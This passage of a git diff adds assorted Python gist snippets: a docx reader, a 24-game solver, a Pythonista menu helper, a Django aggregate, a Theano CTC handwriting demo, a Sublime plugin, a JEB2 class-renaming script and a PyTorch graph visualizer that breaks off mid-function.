+        if isinstance(child, CT_P):
+            yield Paragraph(child, parent)
+        elif isinstance(child, CT_Tbl):
+            yield Table(child, parent)
+            
+doc = docx.Document('sample.docx')
+for block in iter_block_items(doc):
+    if "Paragraph" in str(type(block)):
+        print (block.text)
+    elif "Table" in str(type(block)):
+        for row in block.rows:
+            for cell in row.cells:
+                for paragraph in cell.paragraphs:
+                    print (paragraph.text)
\ No newline at end of file
diff --git a/hard-gists/c97fe158082000ae06ad624527433de6/._snippet.py b/hard-gists/c97fe158082000ae06ad624527433de6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c97fe158082000ae06ad624527433de6/._snippet.py differ
diff --git a/hard-gists/c97fe158082000ae06ad624527433de6/snippet.py b/hard-gists/c97fe158082000ae06ad624527433de6/snippet.py
new file mode 100644
index 00000000..727d71cc
--- /dev/null
+++ b/hard-gists/c97fe158082000ae06ad624527433de6/snippet.py
@@ -0,0 +1,19 @@
+from itertools import permutations, product, zip_longest
+from sys import argv
+
+args = sum([[1, 11] if arg in "aA" else [int(arg)] for arg in argv[1:5]], [])
+
+for xs in permutations(args, 4):
+    if sum(n == 1 or n == 11 for n in xs) > len(args) - 4:
+        continue
+    for ops in product("+-*/", repeat=3):
+        for exp in ["(...).(...)", "((...)..)..", "(..(...)).."]:
+            exp = exp.replace(".", "{}").format(*sum(zip_longest(xs, ops), ()))
+            try: 
+                if eval(exp) == 24:
+                    print(exp)
+                    exit()
+            except ZeroDivisionError:
+                pass
+
+print("No solution")
\ No newline at end of file
diff --git a/hard-gists/c9f42c81c53b276b6560/._snippet.py b/hard-gists/c9f42c81c53b276b6560/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c9f42c81c53b276b6560/._snippet.py differ
diff --git a/hard-gists/c9f42c81c53b276b6560/snippet.py b/hard-gists/c9f42c81c53b276b6560/snippet.py
new file mode 100644
index 00000000..46da0784
--- /dev/null
+++ b/hard-gists/c9f42c81c53b276b6560/snippet.py
@@ -0,0 +1,62 @@
+# coding: utf-8
+'''
+Manipulate action (wrench) menu
+example:
+     add_action('/stash/launch_stash.py','monitor')
+     save_defaults() # so it is stored for next launch
+
+ '''
+ 
+from objc_util import *
+NSUserDefaults = ObjCClass('NSUserDefaults')
+
+def add_action(scriptName,iconName='python',iconColor='',title=''):
+   '''adds an editor action.  scriptName should start with / 
+   (e.g /stash/stash.py)
+   iconName should be an icon without leading prefix, or trailing size.  i.e alert instead of iob:alert_256
+   iconColor should be a web style hex string, eg aa00ff
+   title is the alternative title
+   Call save_defaults() to store defaults
+   ')'''
+   defaults=NSUserDefaults.standardUserDefaults()
+   kwargs=locals()
+   entry={ key:kwargs[key] 
+            for key in
+            ('scriptName','iconName','iconColor','title','arguments') 
+            if key in kwargs and kwargs[key] }
+   editoractions=get_actions()
+   editoractions.append(ns(entry))
+   defaults.setObject_forKey_(editoractions,'EditorActionInfos')
+
+def remove_action(scriptName):
+   ''' remove all instances of a given scriptname.  
+   Call save_defaults() to store for next session
+   '''
+   defaults=NSUserDefaults.standardUserDefaults()
+   editoractions=get_actions()
+   [editoractions.remove(x) for x in editoractions if str(x['scriptName'])==scriptName]
+   defaults.setObject_forKey_(editoractions,'EditorActionInfos')
+   
+def remove_action_at_index(index):
+   ''' remove action at index.  Call save_defaults() to save result.
+   '''
+   defaults=NSUserDefaults.standardUserDefaults()
+   editoractions = get_actions()
+   del editoractions[index]
+   defaults.setObject_forKey_(editoractions,'EditorActionInfos')
+   
+def get_defaults_dict():
+   '''return NSdictionary of defaults'''
+   defaults=NSUserDefaults.standardUserDefaults()
+   return defaults.dictionaryRepresentation()
+   
+def get_actions():
+   '''return action list'''
+   defaults=NSUserDefaults.standardUserDefaults()
+   return list(defaults.arrayForKey_('EditorActionInfos'))
+   
+def save_defaults():
+   '''save current set of defaults'''
+   defaults=NSUserDefaults.standardUserDefaults()
+   NSUserDefaults.setStandardUserDefaults_(defaults)
+   
diff --git a/hard-gists/ca6ed07e5c8017272701/._snippet.py b/hard-gists/ca6ed07e5c8017272701/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ca6ed07e5c8017272701/._snippet.py differ
diff --git a/hard-gists/ca6ed07e5c8017272701/snippet.py b/hard-gists/ca6ed07e5c8017272701/snippet.py
new file mode 100644
index 00000000..315e4eb9
--- /dev/null
+++ b/hard-gists/ca6ed07e5c8017272701/snippet.py
@@ -0,0 +1,27 @@
+"""
+From http://harkablog.com/inside-the-django-orm-aggregates.html
+with a couple of fixes.
+
+Usage: MyModel.objects.all().annotate(new_attribute=Concat('related__attribute', separator=':')
+"""
+
+from django.db.models import Aggregate
+from django.db.models.sql.aggregates import Aggregate as SQLAggregate
+
+
+class Concat(Aggregate):
+    def add_to_query(self, query, alias, col, source, is_summary):
+        aggregate = SQLConcat(col, source=source, is_summary=is_summary, **self.extra)
+        query.aggregates[alias] = aggregate
+
+
+class SQLConcat(SQLAggregate):
+    sql_function = 'group_concat'
+
+    @property
+    def sql_template(self):
+        separator = self.extra.get('separator')
+        if separator:
+            return '%(function)s(%(field)s, "%(separator)s")'
+        else:
+            return '%(function)s(%(field)s)'
diff --git a/hard-gists/ca851e39229551208c0d/._snippet.py b/hard-gists/ca851e39229551208c0d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ca851e39229551208c0d/._snippet.py differ
diff --git a/hard-gists/ca851e39229551208c0d/snippet.py b/hard-gists/ca851e39229551208c0d/snippet.py
new file mode 100644
index 00000000..2a059015
--- /dev/null
+++ b/hard-gists/ca851e39229551208c0d/snippet.py
@@ -0,0 +1,463 @@
+"""
+bitmap utils and much of the ctc code modified
+From Shawn Tan, Rakesh and Mohammad Pezeshki
+"""
+# Author: Kyle Kastner
+# License: BSD 3-clause
+from theano import tensor
+from scipy import linalg
+import theano
+import numpy as np
+import matplotlib.pyplot as plt
+
+eps = 1E-12
+
+characters = np.array([
+    0x0,
+    0x808080800080000,
+    0x2828000000000000,
+    0x287C287C280000,
+    0x81E281C0A3C0800,
+    0x6094681629060000,
+    0x1C20201926190000,
+    0x808000000000000,
+    0x810202010080000,
+    0x1008040408100000,
+    0x2A1C3E1C2A000000,
+    0x8083E08080000,
+    0x81000,
+    0x3C00000000,
+    0x80000,
+    0x204081020400000,
+    0x1824424224180000,
+    0x8180808081C0000,
+    0x3C420418207E0000,
+    0x3C420418423C0000,
+    0x81828487C080000,
+    0x7E407C02423C0000,
+    0x3C407C42423C0000,
+    0x7E04081020400000,
+    0x3C423C42423C0000,
+    0x3C42423E023C0000,
+    0x80000080000,
+    0x80000081000,
+    0x6186018060000,
+    0x7E007E000000,
+    0x60180618600000,
+    0x3844041800100000,
+    0x3C449C945C201C,
+    0x1818243C42420000,
+    0x7844784444780000,
+    0x3844808044380000,
+    0x7844444444780000,
+    0x7C407840407C0000,
+    0x7C40784040400000,
+    0x3844809C44380000,
+    0x42427E4242420000,
+    0x3E080808083E0000,
+    0x1C04040444380000,
+    0x4448507048440000,
+    0x40404040407E0000,
+    0x4163554941410000,
+    0x4262524A46420000,
+    0x1C222222221C0000,
+    0x7844784040400000,
+    0x1C222222221C0200,
+    0x7844785048440000,
+    0x1C22100C221C0000,
+    0x7F08080808080000,
+    0x42424242423C0000,
+    0x8142422424180000,
+    0x4141495563410000,
+    0x4224181824420000,
+    0x4122140808080000,
+    0x7E040810207E0000,
+    0x3820202020380000,
+    0x4020100804020000,
+    0x3808080808380000,
+    0x1028000000000000,
+    0x7E0000,
+    0x1008000000000000,
+    0x3C023E463A0000,
+    0x40407C42625C0000,
+    0x1C20201C0000,
+    0x2023E42463A0000,
+    0x3C427E403C0000,
+    0x18103810100000,
+    0x344C44340438,
+    0x2020382424240000,
+    0x800080808080000,
+    0x800180808080870,
+    0x20202428302C0000,
+    0x1010101010180000,
+    0x665A42420000,
+    0x2E3222220000,
+    0x3C42423C0000,
+    0x5C62427C4040,
+    0x3A46423E0202,
+    0x2C3220200000,
+    0x1C201804380000,
+    0x103C1010180000,
+    0x2222261A0000,
+    0x424224180000,
+    0x81815A660000,
+    0x422418660000,
+    0x422214081060,
+    0x3C08103C0000,
+    0x1C103030101C0000,
+    0x808080808080800,
+    0x38080C0C08380000,
+    0x324C000000,
+], dtype=np.uint64)
+
+bitmap = np.unpackbits(characters.view(np.uint8)).reshape(characters.shape[0],
+                                                          8, 8)
+bitmap = bitmap[:, ::-1, :]
+
+chars = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
+mapping = {c: i for i, c in enumerate(chars)}
+
+
+def string_to_image(string):
+    return np.hstack(np.array([bitmap[mapping[c]] for c in string])).T[:, ::-1]
+
+
+def string_to_index(string):
+    return np.asarray([mapping[c] for c in string])
+
+
+def recurrence_relation(y, y_mask):
+    # with blank symbol of -1 this falls back to the recurrence that fails
+    # with repeating symbols!
+    blank_symbol = -1
+    n_y = y.shape[0]
+    blanks = tensor.zeros((2, y.shape[1])) + blank_symbol
+    ybb = tensor.concatenate((y, blanks), axis=0).T
+    sec_diag = (tensor.neq(ybb[:, :-2], ybb[:, 2:]) *
+                tensor.eq(ybb[:, 1:-1], blank_symbol) *
+                y_mask.T)
+
+    # r1: LxL
+    # r2: LxL
+    # r3: LxLxB
+    r2 = tensor.eye(n_y, k=1)
+    r3 = (tensor.eye(n_y, k=2).dimshuffle(0, 1, 'x') *
+          sec_diag.dimshuffle(1, 'x', 0))
+    return r2, r3
+
+
+def _epslog(x):
+    return tensor.cast(tensor.log(tensor.clip(x, 1E-12, 1E12)),
+                       theano.config.floatX)
+
+
+def _log_add(a, b):
+    max_ = tensor.maximum(a, b)
+    return (max_ + tensor.log1p(tensor.exp(a + b - 2 * max_)))
+
+
+def _log_dot_matrix(x, z):
+    inf = 1E12
+    log_dot = tensor.dot(x, z)
+    zeros_to_minus_inf = (z.max(axis=0) - 1) * inf
+    return log_dot + zeros_to_minus_inf
+
+
+def _log_dot_tensor(x, z):
+    inf = 1E12
+    log_dot = (x.dimshuffle(1, 'x', 0) * z).sum(axis=0).T
+    zeros_to_minus_inf = (z.max(axis=0) - 1) * inf
+    return log_dot + zeros_to_minus_inf.T
+
+
+def class_batch_to_labeling_batch(y, y_hat, y_hat_mask):
+    # ??
+    y_hat = y_hat.dimshuffle(0, 2, 1)
+    y_hat = y_hat * y_hat_mask.dimshuffle(0, 'x', 1)
+    batch_size = y_hat.shape[2]
+    res = y_hat[:, y.astype('int32'), tensor.arange(batch_size)]
+    return res
+
+
+def log_path_probs(y, y_mask, y_hat, y_hat_mask):
+    pred_y = class_batch_to_labeling_batch(y, y_hat, y_hat_mask)
+    r2, r3 = recurrence_relation(y, y_mask)
+
+    def step(log_p_curr, log_p_prev):
+        p1 = log_p_prev
+        p2 = _log_dot_matrix(p1, r2)
+        p3 = _log_dot_tensor(p1, r3)
+        p123 = _log_add(p3, _log_add(p1, p2))
+
+        return (log_p_curr.T +
+                p123 +
+                _epslog(y_mask.T))
+
+    log_probabilities, _ = theano.scan(
+        step,
+        sequences=[_epslog(pred_y)],
+        outputs_info=[_epslog(tensor.eye(y.shape[0])[0] *
+                              tensor.ones(y.T.shape))])
+    return log_probabilities
+
+
+def log_ctc_cost(y, y_mask, y_hat, y_hat_mask):
+    y_hat_mask_len = tensor.sum(y_hat_mask, axis=0, dtype='int32')
+    y_mask_len = tensor.sum(y_mask, axis=0, dtype='int32')
+    log_probs = log_path_probs(y, y_mask, y_hat, y_hat_mask)
+    batch_size = log_probs.shape[1]
+    labels_prob = _log_add(
+        log_probs[y_hat_mask_len - 1, tensor.arange(batch_size),
+                  y_mask_len - 1],
+        log_probs[y_hat_mask_len - 1, tensor.arange(batch_size),
+                  y_mask_len - 2])
+    avg_cost = tensor.mean(-labels_prob)
+    return avg_cost
+
+
+def as_shared(arr, name=None):
+    if type(arr) in [float, int]:
+        if name is not None:
+            return theano.shared(np.cast[theano.config.floatX](arr))
+        else:
+            return theano.shared(np.cast[theano.config.floatX](arr), name=name)
+    if name is not None:
+        return theano.shared(value=arr, borrow=True)
+    else:
+        return theano.shared(value=arr, name=name, borrow=True)
+
+
+def np_zeros(shape):
+    """ Builds a numpy variable filled with zeros """
+    return np.zeros(shape).astype(theano.config.floatX)
+
+
+def np_ones(shape):
+    """ Builds a numpy variable filled with zeros """
+    return np.ones(shape).astype(theano.config.floatX)
+
+
+def np_rand(shape, random_state):
+    # Make sure bounds aren't the same
+    return random_state.uniform(low=-0.08, high=0.08, size=shape).astype(
+        theano.config.floatX)
+
+
+def np_randn(shape, random_state):
+    """ Builds a numpy variable filled with random normal values """
+    return (0.01 * random_state.randn(*shape)).astype(theano.config.floatX)
+
+
+def np_tanh_fan(shape, random_state):
+    # The . after the 6 is critical! shape has dtype int...
+    bound = np.sqrt(6. / np.sum(shape))
+    return random_state.uniform(low=-bound, high=bound,
+                                size=shape).astype(theano.config.floatX)
+
+
+def np_sigmoid_fan(shape, random_state):
+    return 4 * np_tanh_fan(shape, random_state)
+
+
+def np_ortho(shape, random_state):
+    """ Builds a theano variable filled with orthonormal random values """
+    g = random_state.randn(*shape)
+    o_g = linalg.svd(g)[0]
+    return o_g.astype(theano.config.floatX)
+
+
+def build_tanh_rnn(hidden_input, mask_input, W_hidden_hidden, initial_hidden):
+    def step(x_t, m_t, h_tm1, U):
+        h_ti = tensor.tanh(x_t + tensor.dot(h_tm1, U))
+        h_t = m_t[:, None] * h_ti + (1 - m_t)[:, None] * h_tm1
+        return h_t
+
+    h, updates = theano.scan(step,
+                             sequences=[hidden_input, mask_input],
+                             outputs_info=[initial_hidden],
+                             non_sequences=[W_hidden_hidden])
+    return h
+
+
+def build_model(X, X_mask, minibatch_size, input_size, hidden_size,
+                output_size):
+    random_state = np.random.RandomState(1999)
+    W_input_hidden = as_shared(np_tanh_fan((input_size, hidden_size),
+                                           random_state))
+    W_hidden_hidden = as_shared(np_ortho((hidden_size, hidden_size),
+                                         random_state))
+    W_hidden_output = as_shared(np_tanh_fan((hidden_size, output_size),
+                                            random_state))
+    initial_hidden = as_shared(np_zeros((minibatch_size, hidden_size)))
+    b_hidden = as_shared(np_zeros((hidden_size,)))
+    b_output = as_shared(np_zeros((output_size,)))
+    hidden = build_tanh_rnn(tensor.dot(X, W_input_hidden) + b_hidden, X_mask,
+                            W_hidden_hidden, initial_hidden)
+    hidden_proj = tensor.dot(hidden, W_hidden_output) + b_output
+    hidden_proj_shapes = hidden_proj.shape
+    hidden_proj = hidden_proj.reshape((
+        hidden_proj_shapes[0] * hidden_proj_shapes[1], hidden_proj_shapes[2]))
+    predict = tensor.nnet.softmax(hidden_proj).reshape(hidden_proj_shapes)
+    params = [W_input_hidden, W_hidden_hidden, W_hidden_output, initial_hidden,
+              b_output]
+    return X, predict, params
+
+
+def theano_label_seq(y, y_mask):
+    blank_symbol = -1
+    # for y
+    y_extended = y.T.dimshuffle(0, 1, 'x')
+    blanks = tensor.zeros_like(y_extended) + blank_symbol
+    concat = tensor.concatenate([y_extended, blanks], axis=2)
+    res = concat.reshape((concat.shape[0],
+                          concat.shape[1] * concat.shape[2])).T
+    beginning_blanks = tensor.zeros((1, res.shape[1])) + blank_symbol
+    blanked_y = tensor.concatenate([beginning_blanks, res], axis=0)
+
+    y_mask_extended = y_mask.T.dimshuffle(0, 1, 'x')
+    concat = tensor.concatenate([y_mask_extended,
+                                 y_mask_extended], axis=2)
+    res = concat.reshape((concat.shape[0],
+                          concat.shape[1] * concat.shape[2])).T
+    beginning_blanks = tensor.ones((1, res.shape[1]),
+                                   dtype=theano.config.floatX)
+    blanked_y_mask = tensor.concatenate([beginning_blanks, res], axis=0)
+    return blanked_y, blanked_y_mask
+
+
+class adadelta(object):
+    """
+    An adaptive learning rate optimizer
+
+    For more information, see:
+    Matthew D. Zeiler, "ADADELTA: An Adaptive Learning Rate Method"
+    arXiv:1212.5701.
+    """
+    def __init__(self, params, running_grad_decay=0.95, running_up_decay=0.95,
+                 eps=1E-6):
+        self.running_grad_decay = running_grad_decay
+        self.running_up_decay = running_up_decay
+        self.eps = eps
+        self.running_up2_ = [theano.shared(np.zeros_like(p.get_value()))
+                             for p in params]
+        self.running_grads2_ = [theano.shared(np.zeros_like(p.get_value()))
+                                for p in params]
+        self.previous_grads_ = [theano.shared(np.zeros_like(p.get_value()))
+                                for p in params]
+
+    def updates(self, params, grads):
+        running_grad_decay = self.running_grad_decay
+        running_up_decay = self.running_up_decay
+        eps = self.eps
+        updates = []
+        for n, (param, grad) in enumerate(zip(params, grads)):
+            running_grad2 = self.running_grads2_[n]
+            running_up2 = self.running_up2_[n]
+            previous_grad = self.previous_grads_[n]
+            rg2up = running_grad_decay * running_grad2 + (
+                1. - running_grad_decay) * (grad ** 2)
+            updir = -tensor.sqrt(running_up2 + eps) / tensor.sqrt(
+                running_grad2 + eps) * previous_grad
+            ru2up = running_up_decay * running_up2 + (
+                1. - running_up_decay) * (updir ** 2)
+            updates.append((previous_grad, grad))
+            updates.append((running_grad2, rg2up))
+            updates.append((running_up2, ru2up))
+            updates.append((param, param + updir))
+        return updates
+
+
+def ctc_prediction_to_string(y_pred):
+    indices = y_pred.argmax(axis=1)
+    # remove blanks
+    indices = indices[indices != len(chars)]
+    # remove repeats
+    not_same = np.where((indices[1:] != indices[:-1]))[0]
+    last_char = ""
+    if len(not_same) > 0:
+        last_char = chars[indices[-1]]
+        indices = indices[not_same]
+    s = "".join([chars[i] for i in indices])
+    return s + last_char
+
+
+def prediction_to_string(y_pred):
+    indices = y_pred.argmax(axis=1)
+    # remove blanks
+    indices = indices[indices != len(chars)]
+    s = "".join([chars[i] for i in indices])
+    return s
+
+
+def make_minibatch_from_strings(strings):
+    X_shapes = [string_to_image(s).shape for s in strings]
+    y_shapes = [string_to_index(s).shape for s in strings]
+    max_X_len = max([sh[0] for sh in X_shapes])
+    max_y_len = max([sh[0] for sh in y_shapes])
+    minibatch_size = len(strings)
+    # assume all feature dimensions are equal!
+    X_mb = np.zeros((max_X_len, minibatch_size, X_shapes[-1][1])).astype(
+        theano.config.floatX)
+    X_mask = np.zeros((max_X_len, len(strings))).astype(theano.config.floatX)
+    y_mb = np.zeros((max_y_len, minibatch_size)).astype("int32")
+    y_mask = np.ones_like(y_mb).astype(theano.config.floatX)
+    for n, s in enumerate(strings):
+        X = string_to_image(s)
+        y = string_to_index(s)
+        X_mb[:X.shape[0], n, :] = X
+        X_mask[:X.shape[0], n] = 1.
+        y_mb[:y.shape[0], n] = y
+        y_mask[:y.shape[0], n] = 1.
+    return X_mb, X_mask, y_mb, y_mask
+
+
+if __name__ == "__main__":
+    true_strings = ["Hello", "World"]
+    minibatch_size = len(true_strings)
+    X, X_mask, y, y_mask = make_minibatch_from_strings(true_strings)
+
+    X_sym = tensor.tensor3('X')
+    X_mask_sym = tensor.matrix('X_mask')
+    y_sym = tensor.imatrix('Y_s')
+    y_mask_sym = tensor.matrix('Y_s_mask')
+    X_sym.tag.test_value = X
+    X_mask_sym.tag.test_value = X_mask
+    y_sym.tag.test_value = y
+    y_mask_sym.tag.test_value = y_mask
+
+    X_res, predict, params = build_model(X_sym, X_mask_sym, minibatch_size,
+                                         X.shape[-1], 256, len(chars) + 1)
+    y_ctc_sym, y_ctc_mask_sym = theano_label_seq(y_sym, y_mask_sym)
+    cost = log_ctc_cost(y_ctc_sym, y_ctc_mask_sym, predict, X_mask_sym)
+
+    grads = tensor.grad(cost, wrt=params)
+    opt = adadelta(params)
+    train = theano.function(inputs=[X_sym, X_mask_sym, y_sym, y_mask_sym],
+                            outputs=cost,
+                            updates=opt.updates(params, grads))
+    pred = theano.function(inputs=[X_sym, X_mask_sym], outputs=predict)
+
+    for i in range(1000):
+        train_cost = train(X, X_mask, y, y_mask)
+        if i % 100 == 0:
+            print("Iteration %i:" % i)
+            print(train_cost)
+            p = pred(X, X_mask)
+            for n in range(p.shape[1]):
+                print(prediction_to_string(p[:, n, :]))
+                print(ctc_prediction_to_string(p[:, n, :]))
+    p = pred(X, X_mask)
+    f, axarr = plt.subplots(p.shape[1])
+    print("Final predictions:")
+    predicted_strings = []
+    for n in range(p.shape[1]):
+        p_n = p[:, n, :]
+        s = ctc_prediction_to_string(p_n)
+        predicted_strings.append(s)
+        X_n = X[:, n, :]
+        axarr[n].matshow(X_n.T[::-1], cmap="gray")
+        axarr[n].set_xticks([])
+        axarr[n].set_yticks([])
+    plt.suptitle(" ".join(predicted_strings) + " : " + " ".join(true_strings))
+    plt.tight_layout()
+    plt.show()
diff --git a/hard-gists/ca8f71e38ad12ff157b34d5425d50ec7/._snippet.py b/hard-gists/ca8f71e38ad12ff157b34d5425d50ec7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ca8f71e38ad12ff157b34d5425d50ec7/._snippet.py differ
diff --git a/hard-gists/ca8f71e38ad12ff157b34d5425d50ec7/snippet.py b/hard-gists/ca8f71e38ad12ff157b34d5425d50ec7/snippet.py
new file mode 100644
index 00000000..bdd32a16
--- /dev/null
+++ b/hard-gists/ca8f71e38ad12ff157b34d5425d50ec7/snippet.py
@@ -0,0 +1,13 @@
+# -*- encoding: utf-8 -*-
+
+import sublime
+import sublime_plugin
+
+class MinimapSetting(sublime_plugin.EventListener):
+
+    def on_activated(self, view):
+        show_minimap = view.settings().get('show_minimap')
+        if show_minimap:
+            view.window().set_minimap_visible(True)
+        elif show_minimap is not None:
+            view.window().set_minimap_visible(False)
diff --git a/hard-gists/ca92b42f1f796763e5d1f8cd73247a30/._snippet.py b/hard-gists/ca92b42f1f796763e5d1f8cd73247a30/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ca92b42f1f796763e5d1f8cd73247a30/._snippet.py differ
diff --git a/hard-gists/ca92b42f1f796763e5d1f8cd73247a30/snippet.py b/hard-gists/ca92b42f1f796763e5d1f8cd73247a30/snippet.py
new file mode 100644
index 00000000..e75f177e
--- /dev/null
+++ b/hard-gists/ca92b42f1f796763e5d1f8cd73247a30/snippet.py
@@ -0,0 +1,170 @@
+# -*- coding: utf-8 -*-  
+  
+""" 
+Sample client script for PNF Software's JEB2. 
+ 
+More samples are available on our website and within the scripts/ folder. 
+ 
+Refer to SCRIPTS.TXT for more information. 
+"""  
+  
+import string  
+import re,collections  
+from com.pnfsoftware.jeb.client.api import IScript  
+from com.pnfsoftware.jeb.client.api import IScript, IGraphicalClientContext  
+from com.pnfsoftware.jeb.core import RuntimeProjectUtil  
+from com.pnfsoftware.jeb.core.actions import Actions, ActionContext, ActionXrefsData  
+from com.pnfsoftware.jeb.core.events import JebEvent, J  
+from com.pnfsoftware.jeb.core.output import AbstractUnitRepresentation, UnitRepresentationAdapter  
+from com.pnfsoftware.jeb.core.units.code import ICodeUnit, ICodeItem  
+from com.pnfsoftware.jeb.core.units.code.java import IJavaSourceUnit, IJavaStaticField, IJavaNewArray, IJavaConstant, IJavaCall, IJavaField, IJavaMethod, IJavaClass  
+from com.pnfsoftware.jeb.core.actions import ActionTypeHierarchyData  
+from com.pnfsoftware.jeb.core.actions import ActionRenameData  
+from com.pnfsoftware.jeb.core.util import DecompilerHelper  
+from com.pnfsoftware.jeb.core.output.text import ITextDocument  
+from com.pnfsoftware.jeb.core.units.code.android import IDexUnit  
+from java.lang import Runnable
+  
+class JEB2AutoRenameByTypeInfo(IScript):  
+  def run(self, ctx):
+    ctx.executeAsync("Running name detection...", JEB2AutoRename(ctx))
+    print('Done')
+
+class JEB2AutoRename(Runnable):  
+  def __init__(self, ctx):
+    self.ctx = ctx
+  def run(self):
+    ctx = self.ctx  
+    engctx = ctx.getEnginesContext()  
+    if not engctx:  
+      print('Back-end engines not initialized')  
+      return  
+  
+    projects = engctx.getProjects()  
+    if not projects:  
+      print('There is no opened project')  
+      return  
+  
+    # 逻辑开始  
+    prj = projects[0]  
+  
+    self.codeUnit = RuntimeProjectUtil.findUnitsByType(prj, ICodeUnit, False)
+    self.curIdx = 0  
+    bcUnits = []
+    for unit in self.codeUnit:
+      classes = unit.getClasses()
+      if classes and unit.getName().lower() == "bytecode":
+        bcUnits.append(unit)
+    targetUnit = bcUnits[0]
+    units = RuntimeProjectUtil.findUnitsByType(prj, IJavaSourceUnit, False)
+    self.targetUnit = targetUnit
+    #print(targetUnit.getClass(javaclz.getSupertype().getSignature()))
+        #this is a single classes.dex item
+
+    fuckingClasses = []
+    cnt = 0
+    for clz in targetUnit.getClasses():
+      #the name maybe renamed
+      #print(clz.getSignature(False))#False is for original Name
+      if isFuckingName(clz.getName(False)):
+        determinedName = self.tryDetermineGoodName(clz)
+        if determinedName is None:
+          determinedName = genNameFromIdx(cnt)
+        else:
+          determinedName = genNameFromIdx(cnt) + determinedName.split('/')[-1][:-1]
+        self.commenceRename(clz.getSignature(False), determinedName, 0)
+        print("cnt is " + str(cnt) +  "determined name is " + str(determinedName))
+        cnt += 1
+      
+    #rename all fields
+    cnt = 0
+    for field in targetUnit.getFields():
+      if isFuckingName(field.getName(False)):
+        #get field type(renamed Type)
+        fieldType = field.getFieldType().getName(True)
+        newName = genNameFromIdx(cnt) + fieldType
+        self.commenceRename(field.getAddress(), newName, 1)
+        print("cnt is " + str(cnt) +  "determined name is " + str(newName))
+        cnt += 1
+    
+    #rename all functions
+    cnt = 0
+    for mtd in targetUnit.getMethods():
+      if isFuckingName(mtd.getName(False)):
+        print(mtd.getName(False))
+        #get method arguments
+        #new mtd name is paramTypeJoin
+        newName = genNameFromIdx(cnt) + ''.join(map(lambda x: x.getName(True), mtd.getParameterTypes()))
+        self.commenceRename(mtd.getAddress(), newName, 2)
+        print("cnt is " + str(cnt) +  "determined name is " + str(newName))
+        cnt += 1
+        
+
+
+
+  def commenceRename(self, originName, newName, isClass):
+    if isClass == 0:
+      clz = self.targetUnit.getClass(originName)
+    elif isClass == 1:
+      clz = self.targetUnit.getField(originName)
+    else:
+      clz = self.targetUnit.getMethod(originName)
+    actCntx = ActionContext(self.targetUnit, Actions.RENAME, clz.getItemId(), clz.getAddress())  
+    actData = ActionRenameData()  
+    actData.setNewName(newName)  
+
+    if(self.targetUnit.prepareExecution(actCntx, actData)):  
+      # 执行重命名动作  
+      try:  
+        bRlt = self.targetUnit.executeAction(actCntx, actData)  
+        if(not bRlt):  
+          print(u'executeAction fail!')  
+      except Exception,e:  
+        print Exception,":",e
+
+  def tryDetermineGoodName(self, clzElement):
+    decomp = DecompilerHelper.getDecompiler(self.targetUnit)
+    javaunit = decomp.decompile(clzElement.getAddress())
+    clzElement = javaunit.getClassElement()
+
+    if not isFuckingName(clzElement.getName()):
+      return clzElement.getName()
+    ssupers = clzElement.getImplementedInterfaces()
+    supers = []
+    supers.extend(ssupers)
+    # do not directly append on returned list!
+
+    superSig = clzElement.getSupertype().getSignature()
+    supers.append(clzElement.getSupertype())
+
+    for superItem in supers:
+      sig = superItem.getSignature()
+      if sig == "Ljava/lang/Object;":
+        continue
+      if not isFuckingName(sig):
+        return sig
+      resolvedType = self.targetUnit.getClass(sig)
+      if resolvedType:
+        #this is a concret class
+        guessedName = self.tryDetermineGoodName(resolvedType)
+        if guessedName:
+          return guessedName
+      else:
+        #this is a SDK class
+        return sig
+    return None
+    
+def isFuckingName(s):
+  if s.find('/') != -1:
+    s = s.split('/')[-1][:-1]
+  elif s[-1] == ';':
+    s = s[1:-1]
+  return set(list(s.lower())) == set(list('li'))
+
+def genNameFromIdx(idx):
+  ret = ''
+  while idx / 26 != 0:
+    ret += chr(ord('a') + idx % 26)
+    idx = idx /26
+  ret += chr(ord('a') + idx % 26)
+  return ret
\ No newline at end of file
diff --git a/hard-gists/caaf6087162f1c6361571ee489da260f/._snippet.py b/hard-gists/caaf6087162f1c6361571ee489da260f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/caaf6087162f1c6361571ee489da260f/._snippet.py differ
diff --git a/hard-gists/caaf6087162f1c6361571ee489da260f/snippet.py b/hard-gists/caaf6087162f1c6361571ee489da260f/snippet.py
new file mode 100644
index 00000000..34410278
--- /dev/null
+++ b/hard-gists/caaf6087162f1c6361571ee489da260f/snippet.py
@@ -0,0 +1,127 @@
+import torch
+import torch.nn as nn
+from torch.nn import Parameter
+from torch.autograd import Variable, Function
+from collections import defaultdict
+import graphviz
+
+"""
+This is a rather distorted implementation of graph visualization in PyTorch.
+
+This implementation is distorted because PyTorch's autograd is undergoing refactoring right now.
+- neither func.next_functions nor func.previous_functions can be relied upon
+- BatchNorm's C backend does not follow the python Function interface
+- I'm not even sure whether to use var.creator or var.grad_fn (apparently the source tree and wheel builds use different
+  interface now)
+
+As a result, we are forced to manually trace the graph, using 2 redundant mechanisms:
+- Function.__call__: this allows us to trace all Function creations. Function corresponds to Op in TF
+- Module.forward_hook: this is needed because the above method doesn't work for BatchNorm, as the current C backend does
+  not follow the Python Function interface. 
+
+To do graph visualization, follow these steps:
+1. register hooks on model: register_vis_hooks(model)
+2. pass data through model: output = model(input)
+3. remove hooks           : remove_vis_hooks()
+4. perform visualization  : save_visualization(name, format='svg') # name is a string without extension
+
+"""
+
+
+old_function__call__ = Function.__call__
+
+def register_creator(inputs, creator, output):
+    """
+    In the forward pass, our Function.__call__ and BatchNorm.forward_hook both call this method to register the creators
+
+    inputs: list of input variables
+    creator: one of
+        - Function
+        - BatchNorm module
+    output: a single output variable
+    """
+    cid = id(creator)
+    oid = id(output)
+    if oid in vars: 
+        return
+    # connect creator to input
+    for input in inputs:
+        iid = id(input)
+        func_trace[cid][iid] = input
+        # register input
+        vars[iid] = input
+    # connect output to creator
+    assert type(output) not in [tuple, list, dict]
